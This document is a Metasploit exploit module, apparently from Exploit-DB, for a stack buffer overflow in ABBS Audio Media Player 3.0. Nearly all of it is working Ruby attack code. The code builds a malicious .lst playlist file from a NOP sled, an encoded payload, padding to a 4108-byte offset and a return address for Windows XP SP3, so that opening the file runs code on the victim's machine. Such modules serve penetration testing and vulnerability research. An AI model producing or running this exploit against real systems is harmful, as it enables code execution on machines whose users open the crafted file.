ABBS Audio Media Player 3.0 - Buffer Overflow Exploit (MSF)

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability
					found in ABBS Audio Media Player 3.0. 
					The overflow occurs when an overly long string is passed
					in the lst file.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'h1ch4m',		# Initial Discovery
					      'James Fitts'	# Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/16976' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
						{ 
							'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe
							'Offset' => 4108
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 14 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'msf.lst']),
				], self.class)
	end

	def exploit
		
		lst = make_nops(50)
		lst << payload.encoded
		lst << make_nops(target['Offset'] - (50 + payload.encoded.length))
		lst << [target.ret].pack('V')
		lst << rand_text_alpha_upper(4)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(lst)

	end

end